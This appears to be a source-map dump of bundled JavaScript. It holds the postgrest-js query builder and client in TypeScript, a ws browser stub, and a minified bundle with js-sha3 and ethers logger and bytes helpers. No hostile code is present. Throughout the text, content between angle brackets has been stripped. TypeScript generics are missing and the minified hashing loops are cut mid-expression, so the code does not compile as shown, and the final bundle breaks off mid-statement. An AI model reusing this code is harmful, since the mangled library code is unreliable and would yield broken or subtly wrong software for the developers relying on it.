method,\n url: this.url,\n headers: this.headers,\n schema: this.schema,\n fetch: this.fetch,\n allowEmpty: false,\n } as unknown as PostgrestBuilder)\n }\n\n // TODO(v3): Make `defaultToNull` consistent for both single & bulk inserts.\n insert(\n values: Row,\n options?: {\n count?: 'exact' | 'planned' | 'estimated'\n }\n ): PostgrestFilterBuilder\n insert(\n values: Row[],\n options?: {\n count?: 'exact' | 'planned' | 'estimated'\n defaultToNull?: boolean\n }\n ): PostgrestFilterBuilder\n /**\n * Perform an INSERT into the table or view.\n *\n * By default, inserted rows are not returned. To return it, chain the call\n * with `.select()`.\n *\n * @param values - The values to insert. Pass an object to insert a single row\n * or an array to insert multiple rows.\n *\n * @param options - Named parameters\n *\n * @param options.count - Count algorithm to use to count inserted rows.\n *\n * `\"exact\"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the\n * hood.\n *\n * `\"planned\"`: Approximated but fast count algorithm. Uses the Postgres\n * statistics under the hood.\n *\n * `\"estimated\"`: Uses exact count for low numbers and planned count for high\n * numbers.\n *\n * @param options.defaultToNull - Make missing fields default to `null`.\n * Otherwise, use the default value for the column. Only applies for bulk\n * inserts.\n */\n insert(\n values: Row | Row[],\n {\n count,\n defaultToNull = true,\n }: {\n count?: 'exact' | 'planned' | 'estimated'\n defaultToNull?: boolean\n } = {}\n ): PostgrestFilterBuilder {\n const method = 'POST'\n\n const prefersHeaders = []\n if (this.headers['Prefer']) {\n prefersHeaders.push(this.headers['Prefer'])\n }\n if (count) {\n prefersHeaders.push(`count=${count}`)\n }\n if (!defaultToNull) {\n prefersHeaders.push('missing=default')\n }\n this.headers['Prefer'] = prefersHeaders.join(',')\n\n if (Array.isArray(values)) {\n const columns = values.reduce((acc, x) => acc.concat(Object.keys(x)), [] as string[])\n if (columns.length > 0) {\n const uniqueColumns = [...new Set(columns)].map((column) => `\"${column}\"`)\n this.url.searchParams.set('columns', uniqueColumns.join(','))\n }\n }\n\n return new PostgrestFilterBuilder({\n method,\n url: this.url,\n headers: this.headers,\n schema: this.schema,\n body: values,\n fetch: this.fetch,\n allowEmpty: false,\n } as unknown as PostgrestBuilder)\n }\n\n // TODO(v3): Make `defaultToNull` consistent for both single & bulk upserts.\n upsert(\n values: Row,\n options?: {\n onConflict?: string\n ignoreDuplicates?: boolean\n count?: 'exact' | 'planned' | 'estimated'\n }\n ): PostgrestFilterBuilder\n upsert(\n values: Row[],\n options?: {\n onConflict?: string\n ignoreDuplicates?: boolean\n count?: 'exact' | 'planned' | 'estimated'\n defaultToNull?: boolean\n }\n ): PostgrestFilterBuilder\n /**\n * Perform an UPSERT on the table or view. Depending on the column(s) passed\n * to `onConflict`, `.upsert()` allows you to perform the equivalent of\n * `.insert()` if a row with the corresponding `onConflict` columns doesn't\n * exist, or if it does exist, perform an alternative action depending on\n * `ignoreDuplicates`.\n *\n * By default, upserted rows are not returned. To return it, chain the call\n * with `.select()`.\n *\n * @param values - The values to upsert with. Pass an object to upsert a\n * single row or an array to upsert multiple rows.\n *\n * @param options - Named parameters\n *\n * @param options.onConflict - Comma-separated UNIQUE column(s) to specify how\n * duplicate rows are determined. Two rows are duplicates if all the\n * `onConflict` columns are equal.\n *\n * @param options.ignoreDuplicates - If `true`, duplicate rows are ignored. If\n * `false`, duplicate rows are merged with existing rows.\n *\n * @param options.count - Count algorithm to use to count upserted rows.\n *\n * `\"exact\"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the\n * hood.\n *\n * `\"planned\"`: Approximated but fast count algorithm. Uses the Postgres\n * statistics under the hood.\n *\n * `\"estimated\"`: Uses exact count for low numbers and planned count for high\n * numbers.\n *\n * @param options.defaultToNull - Make missing fields default to `null`.\n * Otherwise, use the default value for the column. This only applies when\n * inserting new rows, not when merging with existing rows under\n * `ignoreDuplicates: false`. This also only applies when doing bulk upserts.\n */\n upsert(\n values: Row | Row[],\n {\n onConflict,\n ignoreDuplicates = false,\n count,\n defaultToNull = true,\n }: {\n onConflict?: string\n ignoreDuplicates?: boolean\n count?: 'exact' | 'planned' | 'estimated'\n defaultToNull?: boolean\n } = {}\n ): PostgrestFilterBuilder {\n const method = 'POST'\n\n const prefersHeaders = [`resolution=${ignoreDuplicates ? 'ignore' : 'merge'}-duplicates`]\n\n if (onConflict !== undefined) this.url.searchParams.set('on_conflict', onConflict)\n if (this.headers['Prefer']) {\n prefersHeaders.push(this.headers['Prefer'])\n }\n if (count) {\n prefersHeaders.push(`count=${count}`)\n }\n if (!defaultToNull) {\n prefersHeaders.push('missing=default')\n }\n this.headers['Prefer'] = prefersHeaders.join(',')\n\n if (Array.isArray(values)) {\n const columns = values.reduce((acc, x) => acc.concat(Object.keys(x)), [] as string[])\n if (columns.length > 0) {\n const uniqueColumns = [...new Set(columns)].map((column) => `\"${column}\"`)\n this.url.searchParams.set('columns', uniqueColumns.join(','))\n }\n }\n\n return new PostgrestFilterBuilder({\n method,\n url: this.url,\n headers: this.headers,\n schema: this.schema,\n body: values,\n fetch: this.fetch,\n allowEmpty: false,\n } as unknown as PostgrestBuilder)\n }\n\n /**\n * Perform an UPDATE on the table or view.\n *\n * By default, updated rows are not returned. To return it, chain the call\n * with `.select()` after filters.\n *\n * @param values - The values to update with\n *\n * @param options - Named parameters\n *\n * @param options.count - Count algorithm to use to count updated rows.\n *\n * `\"exact\"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the\n * hood.\n *\n * `\"planned\"`: Approximated but fast count algorithm. Uses the Postgres\n * statistics under the hood.\n *\n * `\"estimated\"`: Uses exact count for low numbers and planned count for high\n * numbers.\n */\n update(\n values: Row,\n {\n count,\n }: {\n count?: 'exact' | 'planned' | 'estimated'\n } = {}\n ): PostgrestFilterBuilder {\n const method = 'PATCH'\n const prefersHeaders = []\n if (this.headers['Prefer']) {\n prefersHeaders.push(this.headers['Prefer'])\n }\n if (count) {\n prefersHeaders.push(`count=${count}`)\n }\n this.headers['Prefer'] = prefersHeaders.join(',')\n\n return new PostgrestFilterBuilder({\n method,\n url: this.url,\n headers: this.headers,\n schema: this.schema,\n body: values,\n fetch: this.fetch,\n allowEmpty: false,\n } as unknown as PostgrestBuilder)\n }\n\n /**\n * Perform a DELETE on the table or view.\n *\n * By default, deleted rows are not returned. To return it, chain the call\n * with `.select()` after filters.\n *\n * @param options - Named parameters\n *\n * @param options.count - Count algorithm to use to count deleted rows.\n *\n * `\"exact\"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the\n * hood.\n *\n * `\"planned\"`: Approximated but fast count algorithm. Uses the Postgres\n * statistics under the hood.\n *\n * `\"estimated\"`: Uses exact count for low numbers and planned count for high\n * numbers.\n */\n delete({\n count,\n }: {\n count?: 'exact' | 'planned' | 'estimated'\n } = {}): PostgrestFilterBuilder {\n const method = 'DELETE'\n const prefersHeaders = []\n if (count) {\n prefersHeaders.push(`count=${count}`)\n }\n if (this.headers['Prefer']) {\n prefersHeaders.unshift(this.headers['Prefer'])\n }\n this.headers['Prefer'] = prefersHeaders.join(',')\n\n return new PostgrestFilterBuilder({\n method,\n url: this.url,\n headers: this.headers,\n schema: this.schema,\n fetch: this.fetch,\n allowEmpty: false,\n } as unknown as PostgrestBuilder)\n }\n}\n", "export const version = '1.15.8'\n", "import { version } from './version'\nexport const DEFAULT_HEADERS = { 'X-Client-Info': `postgrest-js/${version}` }\n", "import PostgrestQueryBuilder from './PostgrestQueryBuilder'\nimport PostgrestFilterBuilder from './PostgrestFilterBuilder'\nimport PostgrestBuilder from './PostgrestBuilder'\nimport { DEFAULT_HEADERS } from './constants'\nimport { Fetch, GenericSchema } from './types'\n\n/**\n * PostgREST client.\n *\n * @typeParam Database - Types for the schema from the [type\n * generator](https://supabase.com/docs/reference/javascript/next/typescript-support)\n *\n * @typeParam SchemaName - Postgres schema to switch to. Must be a string\n * literal, the same one passed to the constructor. If the schema is not\n * `\"public\"`, this must be supplied manually.\n */\nexport default class PostgrestClient<\n Database = any,\n SchemaName extends string & keyof Database = 'public' extends keyof Database\n ? 'public'\n : string & keyof Database,\n Schema extends GenericSchema = Database[SchemaName] extends GenericSchema\n ? Database[SchemaName]\n : any\n> {\n url: string\n headers: Record\n schemaName?: SchemaName\n fetch?: Fetch\n\n // TODO: Add back shouldThrowOnError once we figure out the typings\n /**\n * Creates a PostgREST client.\n *\n * @param url - URL of the PostgREST endpoint\n * @param options - Named parameters\n * @param options.headers - Custom headers\n * @param options.schema - Postgres schema to switch to\n * @param options.fetch - Custom fetch\n */\n constructor(\n url: string,\n {\n headers = {},\n schema,\n fetch,\n }: {\n headers?: Record\n schema?: SchemaName\n fetch?: Fetch\n } = {}\n ) {\n this.url = url\n this.headers = { ...DEFAULT_HEADERS, ...headers }\n this.schemaName = schema\n this.fetch = fetch\n }\n\n from<\n TableName extends string & keyof Schema['Tables'],\n Table extends Schema['Tables'][TableName]\n >(relation: TableName): PostgrestQueryBuilder\n from(\n relation: ViewName\n ): PostgrestQueryBuilder\n /**\n * Perform a query on a table or a view.\n *\n * @param relation - The table or view name to query\n */\n from(relation: string): PostgrestQueryBuilder {\n const url = new URL(`${this.url}/${relation}`)\n return new PostgrestQueryBuilder(url, {\n headers: { ...this.headers },\n schema: this.schemaName,\n fetch: this.fetch,\n })\n }\n\n /**\n * Select a schema to query or perform an function (rpc) call.\n *\n * The schema needs to be on the list of exposed schemas inside Supabase.\n *\n * @param schema - The schema to query\n */\n schema(\n schema: DynamicSchema\n ): PostgrestClient<\n Database,\n DynamicSchema,\n Database[DynamicSchema] extends GenericSchema ? Database[DynamicSchema] : any\n > {\n return new PostgrestClient(this.url, {\n headers: this.headers,\n schema,\n fetch: this.fetch,\n })\n }\n\n /**\n * Perform a function call.\n *\n * @param fn - The function name to call\n * @param args - The arguments to pass to the function call\n * @param options - Named parameters\n * @param options.head - When set to `true`, `data` will not be returned.\n * Useful if you only need the count.\n * @param options.get - When set to `true`, the function will be called with\n * read-only access mode.\n * @param options.count - Count algorithm to use to count rows returned by the\n * function. Only applicable for [set-returning\n * functions](https://www.postgresql.org/docs/current/functions-srf.html).\n *\n * `\"exact\"`: Exact but slow count algorithm. Performs a `COUNT(*)` under the\n * hood.\n *\n * `\"planned\"`: Approximated but fast count algorithm. Uses the Postgres\n * statistics under the hood.\n *\n * `\"estimated\"`: Uses exact count for low numbers and planned count for high\n * numbers.\n */\n rpc(\n fn: FnName,\n args: Fn['Args'] = {},\n {\n head = false,\n get = false,\n count,\n }: {\n head?: boolean\n get?: boolean\n count?: 'exact' | 'planned' | 'estimated'\n } = {}\n ): PostgrestFilterBuilder<\n Schema,\n Fn['Returns'] extends any[]\n ? Fn['Returns'][number] extends Record\n ? Fn['Returns'][number]\n : never\n : never,\n Fn['Returns']\n > {\n let method: 'HEAD' | 'GET' | 'POST'\n const url = new URL(`${this.url}/rpc/${fn}`)\n let body: unknown | undefined\n if (head || get) {\n method = head ? 'HEAD' : 'GET'\n Object.entries(args)\n // params with undefined value needs to be filtered out, otherwise it'll\n // show up as `?param=undefined`\n .filter(([_, value]) => value !== undefined)\n // array values need special syntax\n .map(([name, value]) => [name, Array.isArray(value) ? `{${value.join(',')}}` : `${value}`])\n .forEach(([name, value]) => {\n url.searchParams.append(name, value)\n })\n } else {\n method = 'POST'\n body = args\n }\n\n const headers = { ...this.headers }\n if (count) {\n headers['Prefer'] = `count=${count}`\n }\n\n return new PostgrestFilterBuilder({\n method,\n url,\n headers,\n schema: this.schemaName,\n body,\n fetch: this.fetch,\n allowEmpty: false,\n } as unknown as PostgrestBuilder)\n }\n}\n", "// Always update wrapper.mjs when updating this file.\nimport PostgrestClient from './PostgrestClient'\nimport PostgrestQueryBuilder from './PostgrestQueryBuilder'\nimport PostgrestFilterBuilder from './PostgrestFilterBuilder'\nimport PostgrestTransformBuilder from './PostgrestTransformBuilder'\nimport PostgrestBuilder from './PostgrestBuilder'\n\nexport {\n PostgrestClient,\n PostgrestQueryBuilder,\n PostgrestFilterBuilder,\n PostgrestTransformBuilder,\n PostgrestBuilder,\n}\nexport default {\n PostgrestClient,\n PostgrestQueryBuilder,\n PostgrestFilterBuilder,\n PostgrestTransformBuilder,\n PostgrestBuilder,\n}\nexport type {\n PostgrestResponse,\n PostgrestResponseFailure,\n PostgrestResponseSuccess,\n PostgrestSingleResponse,\n PostgrestMaybeSingleResponse,\n PostgrestError,\n} from './types'\n", "'use strict';\n\nmodule.exports = function () {\n throw new Error(\n 'ws does not work in the browser. Browser clients must use the native ' +\n 'WebSocket object'\n );\n};\n", "\"use strict\";var t=\"undefined\"!=typeof globalThis?globalThis:\"undefined\"!=typeof window?window:\"undefined\"!=typeof global?global:\"undefined\"!=typeof self?self:{};function e(t){return t&&t.__esModule&&Object.prototype.hasOwnProperty.call(t,\"default\")?t.default:t}function r(t){if(t.__esModule)return t;var e=t.default;if(\"function\"==typeof e){var r=function t(){return this instanceof t?Reflect.construct(e,arguments,this.constructor):e.apply(this,arguments)};r.prototype=e.prototype}else r={};return Object.defineProperty(r,\"__esModule\",{value:!0}),Object.keys(t).forEach((function(e){var n=Object.getOwnPropertyDescriptor(t,e);Object.defineProperty(r,e,n.get?n:{enumerable:!0,get:function(){return t[e]}})})),r}var n,A,i={exports:{}},o={};function s(){if(A)return n;A=1;var t=\"production\"===process.env.NODE_ENV,e=\"Invariant failed\";return n=function(r,n){if(!r){if(t)throw new Error(e);var A=\"function\"==typeof n?n():n,i=A?\"\".concat(e,\": \").concat(A):e;throw new Error(i)}}}var a,c={exports:{}};\n/**\n * [js-sha3]{@link https://github.com/emn178/js-sha3}\n *\n * @version 0.8.0\n * @author Chen, Yi-Cyuan [emn178@gmail.com]\n * @copyright Chen, Yi-Cyuan 2015-2018\n * @license MIT\n */a=c,function(){var e=\"input is invalid type\",r=\"object\"==typeof window,n=r?window:{};n.JS_SHA3_NO_WINDOW&&(r=!1);var A=!r&&\"object\"==typeof self;!n.JS_SHA3_NO_NODE_JS&&\"object\"==typeof process&&process.versions&&process.versions.node?n=t:A&&(n=self);var i=!n.JS_SHA3_NO_COMMON_JS&&a.exports,o=!n.JS_SHA3_NO_ARRAY_BUFFER&&\"undefined\"!=typeof ArrayBuffer,s=\"0123456789abcdef\".split(\"\"),c=[4,1024,262144,67108864],h=[0,8,16,24],g=[1,0,32898,0,32906,2147483648,2147516416,2147483648,32907,0,2147483649,0,2147516545,2147483648,32777,2147483648,138,0,136,0,2147516425,0,2147483658,0,2147516555,0,139,2147483648,32905,2147483648,32771,2147483648,32770,2147483648,128,2147483648,32778,0,2147483658,2147483648,2147516545,2147483648,32896,2147483648,2147483649,0,2147516424,2147483648],u=[224,256,384,512],l=[128,256],f=[\"hex\",\"buffer\",\"arrayBuffer\",\"array\",\"digest\"],p={128:168,256:136};!n.JS_SHA3_NO_NODE_JS&&Array.isArray||(Array.isArray=function(t){return\"[object Array]\"===Object.prototype.toString.call(t)}),!o||!n.JS_SHA3_NO_ARRAY_BUFFER_IS_VIEW&&ArrayBuffer.isView||(ArrayBuffer.isView=function(t){return\"object\"==typeof t&&t.buffer&&t.buffer.constructor===ArrayBuffer});for(var d=function(t,e,r){return function(n){return new N(t,e,t).update(n)[r]()}},I=function(t,e,r){return function(n,A){return new N(t,e,A).update(n)[r]()}},y=function(t,e,r){return function(e,n,A,i){return w[\"cshake\"+t].update(e,n,A,i)[r]()}},C=function(t,e,r){return function(e,n,A,i){return w[\"kmac\"+t].update(e,n,A,i)[r]()}},m=function(t,e,r,n){for(var A=0;A>5,this.byteCount=this.blockCount<<2,this.outputBlocks=r>>5,this.extraBytes=(31&r)>>3;for(var n=0;n<50;++n)this.s[n]=0}function M(t,e,r){N.call(this,t,e,r)}N.prototype.update=function(t){if(this.finalized)throw new Error(\"finalize already called\");var r,n=typeof t;if(\"string\"!==n){if(\"object\"!==n)throw new Error(e);if(null===t)throw new Error(e);if(o&&t.constructor===ArrayBuffer)t=new Uint8Array(t);else if(!(Array.isArray(t)||o&&ArrayBuffer.isView(t)))throw new Error(e);r=!0}for(var A,i,s=this.blocks,a=this.byteCount,c=t.length,g=this.blockCount,u=0,l=this.s;u>2]|=t[u]<>2]|=i<>2]|=(192|i>>6)<>2]|=(128|63&i)<=57344?(s[A>>2]|=(224|i>>12)<>2]|=(128|i>>6&63)<>2]|=(128|63&i)<>2]|=(240|i>>18)<>2]|=(128|i>>12&63)<>2]|=(128|i>>6&63)<>2]|=(128|63&i)<=a){for(this.start=A-a,this.block=s[g],A=0;A>=8);r>0;)A.unshift(r),r=255&(t>>=8),++n;return e?A.push(n):A.unshift(n),this.update(A),A.length},N.prototype.encodeString=function(t){var r,n=typeof t;if(\"string\"!==n){if(\"object\"!==n)throw new Error(e);if(null===t)throw new Error(e);if(o&&t.constructor===ArrayBuffer)t=new Uint8Array(t);else if(!(Array.isArray(t)||o&&ArrayBuffer.isView(t)))throw new Error(e);r=!0}var A=0,i=t.length;if(r)A=i;else for(var s=0;s=57344?A+=3:(a=65536+((1023&a)<<10|1023&t.charCodeAt(++s)),A+=4)}return A+=this.encode(8*A),this.update(t),A},N.prototype.bytepad=function(t,e){for(var r=this.encode(e),n=0;n>2]|=this.padding[3&e],this.lastByteIndex===this.byteCount)for(t[0]=t[r],e=1;e>4&15]+s[15&t]+s[t>>12&15]+s[t>>8&15]+s[t>>20&15]+s[t>>16&15]+s[t>>28&15]+s[t>>24&15];o%e==0&&(x(r),i=0)}return A&&(t=r[i],a+=s[t>>4&15]+s[15&t],A>1&&(a+=s[t>>12&15]+s[t>>8&15]),A>2&&(a+=s[t>>20&15]+s[t>>16&15])),a},N.prototype.arrayBuffer=function(){this.finalize();var t,e=this.blockCount,r=this.s,n=this.outputBlocks,A=this.extraBytes,i=0,o=0,s=this.outputBits>>3;t=A?new ArrayBuffer(n+1<<2):new ArrayBuffer(s);for(var a=new Uint32Array(t);o>8&255,a[t+2]=e>>16&255,a[t+3]=e>>24&255;s%r==0&&x(n)}return i&&(t=s<<2,e=n[o],a[t]=255&e,i>1&&(a[t+1]=e>>8&255),i>2&&(a[t+2]=e>>16&255)),a},M.prototype=new N,M.prototype.finalize=function(){return this.encode(this.outputBits,!0),N.prototype.finalize.call(this)};var x=function(t){var e,r,n,A,i,o,s,a,c,h,u,l,f,p,d,I,y,C,m,B,E,w,v,_,Q,b,k,D,S,N,M,x,F,P,T,R,U,G,H,L,O,Y,K,J,j,z,q,X,V,W,Z,$,tt,et,rt,nt,At,it,ot,st,at,ct,ht;for(n=0;n<48;n+=2)A=t[0]^t[10]^t[20]^t[30]^t[40],i=t[1]^t[11]^t[21]^t[31]^t[41],o=t[2]^t[12]^t[22]^t[32]^t[42],s=t[3]^t[13]^t[23]^t[33]^t[43],a=t[4]^t[14]^t[24]^t[34]^t[44],c=t[5]^t[15]^t[25]^t[35]^t[45],h=t[6]^t[16]^t[26]^t[36]^t[46],u=t[7]^t[17]^t[27]^t[37]^t[47],e=(l=t[8]^t[18]^t[28]^t[38]^t[48])^(o<<1|s>>>31),r=(f=t[9]^t[19]^t[29]^t[39]^t[49])^(s<<1|o>>>31),t[0]^=e,t[1]^=r,t[10]^=e,t[11]^=r,t[20]^=e,t[21]^=r,t[30]^=e,t[31]^=r,t[40]^=e,t[41]^=r,e=A^(a<<1|c>>>31),r=i^(c<<1|a>>>31),t[2]^=e,t[3]^=r,t[12]^=e,t[13]^=r,t[22]^=e,t[23]^=r,t[32]^=e,t[33]^=r,t[42]^=e,t[43]^=r,e=o^(h<<1|u>>>31),r=s^(u<<1|h>>>31),t[4]^=e,t[5]^=r,t[14]^=e,t[15]^=r,t[24]^=e,t[25]^=r,t[34]^=e,t[35]^=r,t[44]^=e,t[45]^=r,e=a^(l<<1|f>>>31),r=c^(f<<1|l>>>31),t[6]^=e,t[7]^=r,t[16]^=e,t[17]^=r,t[26]^=e,t[27]^=r,t[36]^=e,t[37]^=r,t[46]^=e,t[47]^=r,e=h^(A<<1|i>>>31),r=u^(i<<1|A>>>31),t[8]^=e,t[9]^=r,t[18]^=e,t[19]^=r,t[28]^=e,t[29]^=r,t[38]^=e,t[39]^=r,t[48]^=e,t[49]^=r,p=t[0],d=t[1],z=t[11]<<4|t[10]>>>28,q=t[10]<<4|t[11]>>>28,D=t[20]<<3|t[21]>>>29,S=t[21]<<3|t[20]>>>29,st=t[31]<<9|t[30]>>>23,at=t[30]<<9|t[31]>>>23,Y=t[40]<<18|t[41]>>>14,K=t[41]<<18|t[40]>>>14,P=t[2]<<1|t[3]>>>31,T=t[3]<<1|t[2]>>>31,I=t[13]<<12|t[12]>>>20,y=t[12]<<12|t[13]>>>20,X=t[22]<<10|t[23]>>>22,V=t[23]<<10|t[22]>>>22,N=t[33]<<13|t[32]>>>19,M=t[32]<<13|t[33]>>>19,ct=t[42]<<2|t[43]>>>30,ht=t[43]<<2|t[42]>>>30,et=t[5]<<30|t[4]>>>2,rt=t[4]<<30|t[5]>>>2,R=t[14]<<6|t[15]>>>26,U=t[15]<<6|t[14]>>>26,C=t[25]<<11|t[24]>>>21,m=t[24]<<11|t[25]>>>21,W=t[34]<<15|t[35]>>>17,Z=t[35]<<15|t[34]>>>17,x=t[45]<<29|t[44]>>>3,F=t[44]<<29|t[45]>>>3,_=t[6]<<28|t[7]>>>4,Q=t[7]<<28|t[6]>>>4,nt=t[17]<<23|t[16]>>>9,At=t[16]<<23|t[17]>>>9,G=t[26]<<25|t[27]>>>7,H=t[27]<<25|t[26]>>>7,B=t[36]<<21|t[37]>>>11,E=t[37]<<21|t[36]>>>11,$=t[47]<<24|t[46]>>>8,tt=t[46]<<24|t[47]>>>8,J=t[8]<<27|t[9]>>>5,j=t[9]<<27|t[8]>>>5,b=t[18]<<20|t[19]>>>12,k=t[19]<<20|t[18]>>>12,it=t[29]<<7|t[28]>>>25,ot=t[28]<<7|t[29]>>>25,L=t[38]<<8|t[39]>>>24,O=t[39]<<8|t[38]>>>24,w=t[48]<<14|t[49]>>>18,v=t[49]<<14|t[48]>>>18,t[0]=p^~I&C,t[1]=d^~y&m,t[10]=_^~b&D,t[11]=Q^~k&S,t[20]=P^~R&G,t[21]=T^~U&H,t[30]=J^~z&X,t[31]=j^~q&V,t[40]=et^~nt&it,t[41]=rt^~At&ot,t[2]=I^~C&B,t[3]=y^~m&E,t[12]=b^~D&N,t[13]=k^~S&M,t[22]=R^~G&L,t[23]=U^~H&O,t[32]=z^~X&W,t[33]=q^~V&Z,t[42]=nt^~it&st,t[43]=At^~ot&at,t[4]=C^~B&w,t[5]=m^~E&v,t[14]=D^~N&x,t[15]=S^~M&F,t[24]=G^~L&Y,t[25]=H^~O&K,t[34]=X^~W&$,t[35]=V^~Z&tt,t[44]=it^~st&ct,t[45]=ot^~at&ht,t[6]=B^~w&p,t[7]=E^~v&d,t[16]=N^~x&_,t[17]=M^~F&Q,t[26]=L^~Y&P,t[27]=O^~K&T,t[36]=W^~$&J,t[37]=Z^~tt&j,t[46]=st^~ct&et,t[47]=at^~ht&rt,t[8]=w^~p&I,t[9]=v^~d&y,t[18]=x^~_&b,t[19]=F^~Q&k,t[28]=Y^~P&R,t[29]=K^~T&U,t[38]=$^~J&z,t[39]=tt^~j&q,t[48]=ct^~et&nt,t[49]=ht^~rt&At,t[0]^=g[n],t[1]^=g[n+1]};if(i)a.exports=w;else for(_=0;_{try{if(\"test\"!==\"test\".normalize(e))throw new Error(\"bad normalize\")}catch(r){t.push(e)}})),t.length)throw new Error(\"missing \"+t.join(\", \"));if(String.fromCharCode(233).normalize(\"NFD\")!==String.fromCharCode(101,769))throw new Error(\"broken implementation\")}catch(t){return t.message}return null}();var I,y;!function(t){t.DEBUG=\"DEBUG\",t.INFO=\"INFO\",t.WARNING=\"WARNING\",t.ERROR=\"ERROR\",t.OFF=\"OFF\"}(I||(I={})),function(t){t.UNKNOWN_ERROR=\"UNKNOWN_ERROR\",t.NOT_IMPLEMENTED=\"NOT_IMPLEMENTED\",t.UNSUPPORTED_OPERATION=\"UNSUPPORTED_OPERATION\",t.NETWORK_ERROR=\"NETWORK_ERROR\",t.SERVER_ERROR=\"SERVER_ERROR\",t.TIMEOUT=\"TIMEOUT\",t.BUFFER_OVERRUN=\"BUFFER_OVERRUN\",t.NUMERIC_FAULT=\"NUMERIC_FAULT\",t.MISSING_NEW=\"MISSING_NEW\",t.INVALID_ARGUMENT=\"INVALID_ARGUMENT\",t.MISSING_ARGUMENT=\"MISSING_ARGUMENT\",t.UNEXPECTED_ARGUMENT=\"UNEXPECTED_ARGUMENT\",t.CALL_EXCEPTION=\"CALL_EXCEPTION\",t.INSUFFICIENT_FUNDS=\"INSUFFICIENT_FUNDS\",t.NONCE_EXPIRED=\"NONCE_EXPIRED\",t.REPLACEMENT_UNDERPRICED=\"REPLACEMENT_UNDERPRICED\",t.UNPREDICTABLE_GAS_LIMIT=\"UNPREDICTABLE_GAS_LIMIT\",t.TRANSACTION_REPLACED=\"TRANSACTION_REPLACED\",t.ACTION_REJECTED=\"ACTION_REJECTED\"}(y||(y={}));const C=\"0123456789abcdef\";let m=class t{constructor(t){Object.defineProperty(this,\"version\",{enumerable:!0,value:t,writable:!1})}_log(t,e){const r=t.toLowerCase();null==l[r]&&this.throwArgumentError(\"invalid log level name\",\"logLevel\",t),f>l[r]||console.log.apply(console,e)}debug(...e){this._log(t.levels.DEBUG,e)}info(...e){this._log(t.levels.INFO,e)}warn(...e){this._log(t.levels.WARNING,e)}makeError(e,r,n){if(u)return this.makeError(\"censored error\",r,{});r||(r=t.errors.UNKNOWN_ERROR),n||(n={});const A=[];Object.keys(n).forEach((t=>{const e=n[t];try{if(e instanceof Uint8Array){let r=\"\";for(let t=0;t>4],r+=C[15&e[t]];A.push(t+\"=Uint8Array(0x\"+r+\")\")}else A.push(t+\"=\"+JSON.stringify(e))}catch(e){A.push(t+\"=\"+JSON.stringify(n[t].toString()))}})),A.push(`code=${r}`),A.push(`version=${this.version}`);const i=e;let o=\"\";switch(r){case y.NUMERIC_FAULT:{o=\"NUMERIC_FAULT\";const t=e;switch(t){case\"overflow\":case\"underflow\":case\"division-by-zero\":o+=\"-\"+t;break;case\"negative-power\":case\"negative-width\":o+=\"-unsupported\";break;case\"unbound-bitwise-result\":o+=\"-unbound-result\"}break}case y.CALL_EXCEPTION:case y.INSUFFICIENT_FUNDS:case y.MISSING_NEW:case y.NONCE_EXPIRED:case y.REPLACEMENT_UNDERPRICED:case y.TRANSACTION_REPLACED:case y.UNPREDICTABLE_GAS_LIMIT:o=r}o&&(e+=\" [ See: https://links.ethers.org/v5-errors-\"+o+\" ]\"),A.length&&(e+=\" (\"+A.join(\", \")+\")\");const s=new Error(e);return s.reason=i,s.code=r,Object.keys(n).forEach((function(t){s[t]=n[t]})),s}throwError(t,e,r){throw this.makeError(t,e,r)}throwArgumentError(e,r,n){return this.throwError(e,t.errors.INVALID_ARGUMENT,{argument:r,value:n})}assert(t,e,r,n){t||this.throwError(e,r,n)}assertArgument(t,e,r,n){t||this.throwArgumentError(e,r,n)}checkNormalize(e){d&&this.throwError(\"platform missing String.prototype.normalize\",t.errors.UNSUPPORTED_OPERATION,{operation:\"String.prototype.normalize\",form:d})}checkSafeUint53(e,r){\"number\"==typeof e&&(null==r&&(r=\"value not safe\"),(e<0||e>=9007199254740991)&&this.throwError(r,t.errors.NUMERIC_FAULT,{operation:\"checkSafeInteger\",fault:\"out-of-safe-range\",value:e}),e%1&&this.throwError(r,t.errors.NUMERIC_FAULT,{operation:\"checkSafeInteger\",fault:\"non-integer\",value:e}))}checkArgumentCount(e,r,n){n=n?\": \"+n:\"\",er&&this.throwError(\"too many arguments\"+n,t.errors.UNEXPECTED_ARGUMENT,{count:e,expectedCount:r})}checkNew(e,r){e!==Object&&null!=e||this.throwError(\"missing new\",t.errors.MISSING_NEW,{name:r.name})}checkAbstract(e,r){e===r?this.throwError(\"cannot instantiate abstract class \"+JSON.stringify(r.name)+\" directly; use a sub-class\",t.errors.UNSUPPORTED_OPERATION,{name:e.name,operation:\"new\"}):e!==Object&&null!=e||this.throwError(\"missing new\",t.errors.MISSING_NEW,{name:r.name})}static globalLogger(){return p||(p=new t(\"logger/5.7.0\")),p}static setCensorship(e,r){if(!e&&r&&this.globalLogger().throwError(\"cannot permanently disable censorship\",t.errors.UNSUPPORTED_OPERATION,{operation:\"setCensorship\"}),g){if(!e)return;this.globalLogger().throwError(\"error censorship permanent\",t.errors.UNSUPPORTED_OPERATION,{operation:\"setCensorship\"})}u=!!e,g=!!r}static setLogLevel(e){const r=l[e.toLowerCase()];null!=r?f=r:t.globalLogger().warn(\"invalid log level - \"+e)}static from(e){return new t(e)}};m.errors=y,m.levels=I;const B=new m(\"bytes/5.7.0\");function E(t){return!!t.toHexString}function w(t){return t.slice||(t.slice=function(){const e=Array.prototype.slice.call(arguments);return w(new Uint8Array(Array.prototype.slice.apply(t,e)))}),t}function v(t){return\"number\"==typeof t&&t==t&&t%1==0}function _(t){if(null==t)return!1;if(t.constructor===Uint8Array)return!0;if(\"string\"==typeof t)return!1;if(!v(t.length)||t.length<0)return!1;for(let e=0;e=256)return!1}return!0}function Q(t,e){if(e||(e={}),\"number\"==typeof t){B.checkSafeUint53(t,\"invalid arrayify value\");const e=[];for(;t;)e.unshift(255&t),t=parseInt(String(t/256));return 0===e.length&&e.push(0),w(new Uint8Array(e))}if(e.allowMissingPrefix&&\"string\"==typeof t&&\"0x\"!==t.substring(0,2)&&(t=\"0x\"+t),E(t)&&(t=t.toHexString()),k(t)){let r=t.substring(2);r.length%2&&(\"left\"===e.hexPad?r=\"0\"+r:\"right\"===e.hexPad?r+=\"0\":B.throwArgumentError(\"hex data is odd-length\",\"value\",t));const n=[];for(let t=0;tQ(t))),r=e.reduce(((t,e)=>t+e.length),0),n=new Uint8Array(r);return 